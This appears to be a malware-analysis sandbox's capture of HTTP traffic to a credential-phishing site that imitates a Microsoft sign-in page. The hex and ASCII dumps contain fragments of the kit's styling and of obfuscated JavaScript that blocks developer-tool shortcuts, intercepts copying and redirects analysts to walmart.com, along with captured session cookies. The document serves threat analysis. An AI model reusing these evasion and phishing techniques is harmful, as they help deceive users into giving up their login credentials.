74 65 59 28 37 70 78 29 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 68 61 64 6f 77 2d 66 Data Ascii: #123b6d;}#MSLogo { position: fixed; bottom: 36px; left: calc(50vw - 45px);}/! CSS Used keyframes /@keyframes bounce{0%,100%,12.5%,32.5%,50%,76.1%{transform:translateY(0);}22.5%,86%{transform:translateY(7px);}}@keyframes shadow-f
2025-03-17 22:11:50 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 53 65 44 65 74 5a 54 4c 6f 74 20 3d 20 5b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6b 65 79 43 6f 64 65 3a 20 31 32 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 38 35 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 36 37 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b Data Ascii: const SeDetZTLot = [ { keyCode: 123 }, { ctrl: true, keyCode: 85 }, { ctrl: true, shift: true, keyCode: 73 }, { ctrl: true, shift: true, keyCode: 67 }, { ctrl: true, shift: true, k
2025-03-17 22:11:50 UTC	1369	IN	Data Raw: 76 65 52 20 26 26 20 21 59 79 6b 74 7a 64 75 78 75 41 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 48 4b 43 6b 43 62 6b 79 79 4b 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 59 79 6b 74 7a 64 75 78 75 41 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 61 6c 6d 61 72 74 2e 63 6f 6d 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 2c 20 31 30 30 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 70 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 Data Ascii: veR && !YyktzduxuA) { HKCkCbkyyK = true; YyktzduxuA = true; window.location.replace('https://www.walmart.com'); } }, 100);})(); document.addEventListener('copy', function(event) { if (docume
2025-03-17 22:11:50 UTC	1369	IN	Data Raw: 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 63 6c 6f 73 65 64 46 6c 61 70 22 3e 3c 64 69 76 20 69 64 3d 22 66 6d 61 73 6b 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 61 70 54 72 69 61 6e 67 6c 65 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 73 76 67 20 69 64 3d 22 4d 53 4c 6f 67 6f 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 77 69 64 74 68 3d 22 39 39 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 Data Ascii: div></div><div id="closedFlap"><div id="fmask"><div class="flapTriangle"></div></div></div></div></div></div><svg id="MSLogo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="22" width="99"><g fill="none" fill-ru
2025-03-17 22:11:50 UTC	1369	IN	Data Raw: 2e 30 31 31 6c 2d 2e 30 32 39 2d 2e 30 31 37 63 2d 2e 32 34 31 2d 2e 31 33 35 2d 2e 35 37 31 2d 2e 32 34 36 2d 2e 39 38 2d 2e 33 33 31 4d 35 39 2e 34 35 32 20 37 2e 35 39 37 61 32 2e 31 37 20 32 2e 31 37 20 30 20 30 30 2d 31 2e 34 31 35 2e 35 30 37 63 2d 2e 33 35 38 2e 32 39 36 2d 2e 36 31 36 2e 37 2d 2e 38 31 34 20 31 2e 32 30 37 48 35 37 2e 32 56 37 2e 37 35 33 68 2d 32 2e 31 31 36 76 38 2e 39 39 39 48 35 37 2e 32 76 2d 34 2e 36 30 33 63 30 2d 2e 37 38 34 2e 31 37 38 2d 31 2e 34 32 36 2e 35 32 38 2d 31 2e 39 31 32 2e 33 34 36 2d 2e 34 38 2e 38 30 36 2d 2e 37 32 33 20 31 2e 33 36 39 2d 2e 37 32 33 2e 31 39 20 30 20 2e 34 30 34 2e 30 33 31 2e 36 33 36 2e 30 39 33 2e 32 33 2e 30 36 33 2e 33 39 36 2e 31 32 39 2e 34 39 33 2e 32 6c 2e 30 39 2e 30 36 34 56 37 Data Ascii: .011l-.029-.017c-.241-.135-.571-.246-.98-.331M59.452 7.597a2.17 2.17 0 00-1.415.507c-.358.296-.616.7-.814 1.207H57.2V7.753h-2.116v8.999H57.2v-4.603c0-.784.178-1.426.528-1.912.346-.48.806-.723 1.369-.723.19 0 .404.031.636.093.23.063.396.129.493.2l.09.064V7
2025-03-17 22:11:50 UTC	1369	IN	Data Raw: 2e 33 35 2e 34 34 39 2e 30 39 34 2e 38 35 39 2e 31 34 31 20 31 2e 32 31 33 2e 31 34 31 20 31 2e 30 39 36 20 30 20 31 2e 39 37 37 2d 2e 32 36 20 32 2e 36 32 2d 2e 37 37 31 2e 36 34 38 2d 2e 35 31 35 2e 39 37 36 2d 31 2e 32 30 34 2e 39 37 36 2d 32 2e 30 34 35 20 30 2d 2e 36 30 37 2d 2e 31 37 36 2d 31 2e 31 32 37 2d 2e 35 32 35 2d 31 2e 35 34 36 2d 2e 33 34 35 2d 2e 34 31 36 2d 2e 39 34 36 2d 2e 37 39 39 2d 31 2e 37 38 34 2d 31 2e 31 33 36 4d 38 34 2e 30 36 33 20 31 34 2e 34 36 35 63 2d 2e 33 39 38 2e 34 39 39 2d 2e 39 39 37 2e 37 35 31 2d 31 2e 37 38 2e 37 35 31 2d 2e 37 37 37 20 30 2d 31 2e 33 39 2d 2e 32 35 36 2d 31 2e 38 32 32 2d 2e 37 36 36 2d 2e 34 33 35 2d 2e 35 31 2d 2e 36 35 35 2d 31 2e 32 33 38 2d 2e 36 35 35 2d 32 2e 31 36 33 20 30 2d 2e 39 35 34 Data Ascii: .35.449.094.859.141 1.213.141 1.096 0 1.977-.26 2.62-.771.648-.515.976-1.204.976-2.045 0-.607-.176-1.127-.525-1.546-.345-.416-.946-.799-1.784-1.136M84.063 14.465c-.398.499-.997.751-1.78.751-.777 0-1.39-.256-1.822-.766-.435-.51-.655-1.238-.655-2.163 0-.954

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:50 UTC	1350	OUT	GET /56sBd2wacdImcQvY8914 HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
2025-03-17 22:11:51 UTC	1084	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:51 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56sBd2wacdImcQvY8914" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FdUiY72C1y6eaVvV4ajZQCNi%2BicezQnm4MKFbYYt6H8H2SCUZpxjHEo47%2B3quOBwP6bmY%2Fe414fJ02ZvpwkpdCHsgPTzyKmP4VLXwp57jAoJqLx0vROuoHXCnON2GfeNQM2l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1080&min_rtt=1053&rtt_var=348&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2261&delivery_rate=2356387&cwnd=237&unsent_bytes=0&cid=24beb5a56d1dadb8&ts=121&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921fd4136e5eb29e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2082&min_rtt=2079&rtt_var=786&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1922&delivery_rate=1387173&cwnd=98&unsent_bytes=0&cid=755dc26509cedd20&ts=458&x=0"
2025-03-17 22:11:51 UTC	285	IN	Data Raw: 33 37 62 36 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 37b6#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 Data Ascii: der #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 31 3b 68 65 69 67 68 74 3a 35 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 32 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 34 2e 35 33 31 32 35 69 6e 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 33 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 39 37 31 2e 32 35 Data Ascii: {grid-area:bg1;height:50px}#sections_doc .pdfbackcontainer>.bg2,#sections_pdf .pdfbackcontainer>.bg2{grid-area:bg2;height:auto;width:4.53125in}#sections_doc .pdfbackcontainer>.bg3,#sections_pdf .pdfbackcontainer>.bg3{grid-area:bg3;height:auto;width:971.25
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 39 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 38 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 37 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 Data Ascii: imation-delay:-.9s}#sections_pdf .lds-spinner div:nth-child(4){transform:rotate(90deg);animation-delay:-.8s}#sections_pdf .lds-spinner div:nth-child(5){transform:rotate(120deg);animation-delay:-.7s}#sections_pdf .lds-spinner div:nth-child(6){transform:rot
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 65 72 7b 68 65 69 67 68 74 3a 33 2e 31 32 35 70 63 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 37 30 31 30 31 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 Data Ascii: er{height:3.125pc;position:fixed;top:0;width:100%;color:#fff;display:flex;justify-content:space-between;background-color:#970101;z-index:1000000000}#sections_doc .pdfheader #pdffaviconImg,#sections_pdf .pdfheader #pdffaviconImg{margin-top:auto;margin-bott
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 29 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 31 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 32 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 32 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 6c 65 62 6c 65 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 Data Ascii: )}#sections_doc .login .spacelogin1,#sections_pdf .login .spacelogin1{grid-area:spacelogin1}#sections_pdf .login .spacelogin2{grid-area:spacelogin2}#sections_pdf .login .sidelebles{display:flex;flex-direction:column;justify-content:center;width:100%;heigh
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 76 69 64 65 72 20 2e 69 6e 66 6f 73 70 61 6e 3e 2a 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 Data Ascii: vider .infospan>*{color:#fff;font-family:'Playfair Display',serif}#sections_doc .login .selectProvider .choseemails,#sections_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_doc .login .selectProvider .ch
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 73 65 72 76 69 63 65 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 34 39 38 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 64 6f 63 6f 76 65 72 6c 61 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 6f 76 65 72 6c 61 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c Data Ascii: f .login .selectProvider .servicelabel{color:rgba(255,255,255,.498);text-align:center;font-size:13px;font-family:'Playfair Display',serif}#sections_doc .docoverlay,#sections_pdf .pdfoverlay{width:100%;height:100vh;position:fixed;background-color:rgba(0,0,
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 74 69 6f 6e 73 5f 64 6f 63 20 2e 63 73 73 2d 36 30 39 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 2d 36 34 30 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 30 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 52 69 67 68 74 2d 36 34 32 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6d Data Ascii: tions_doc .css-609{display:flex}#sections_doc .actions-640{position:relative;width:100%;min-height:32px;line-height:24px;margin:25px 0 0;font-size:0px}#sections_doc .actionsRight-642{align-items:center;display:flex;font-size:0px;justify-content:flex-end;m
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 73 20 73 68 6f 77 2d 66 72 6f 6d 2d 6c 65 66 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 70 78 29 3b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 74 74 6f 6d 3a 34 30 70 78 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 31 31 30 70 78 29 3b 72 69 67 68 74 3a 36 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 Data Ascii: s show-from-left{from{transform:translateX(-200px);opacity:0}to{transform:translateX(0);opacity:1}}#sections .loading-container{display:flex;align-items:center;width:100%;height:100%;bottom:40px;width:calc(100% + 110px);right:60px;position:relative}#secti

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:50 UTC	1345	OUT	GET /abtGFSFdrsecd30 HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
2025-03-17 22:11:51 UTC	1080	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:51 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="abtGFSFdrsecd30" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6J4WSmAiUN6s7ek14lcEZbCwkWeU%2BOPOw6c70kHJvwWV8NVSFVwKf2PpQ6%2FKhKNpPIaSSaYGFXLHxemUCVCcD16wDkdxv2G8ILTBHkceaRCzMxumgeraAHE5hDXe%2B56Vj%2Fpa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1010&min_rtt=1002&rtt_var=296&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2256&delivery_rate=2734655&cwnd=251&unsent_bytes=0&cid=0bdceb3caadf55d8&ts=119&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 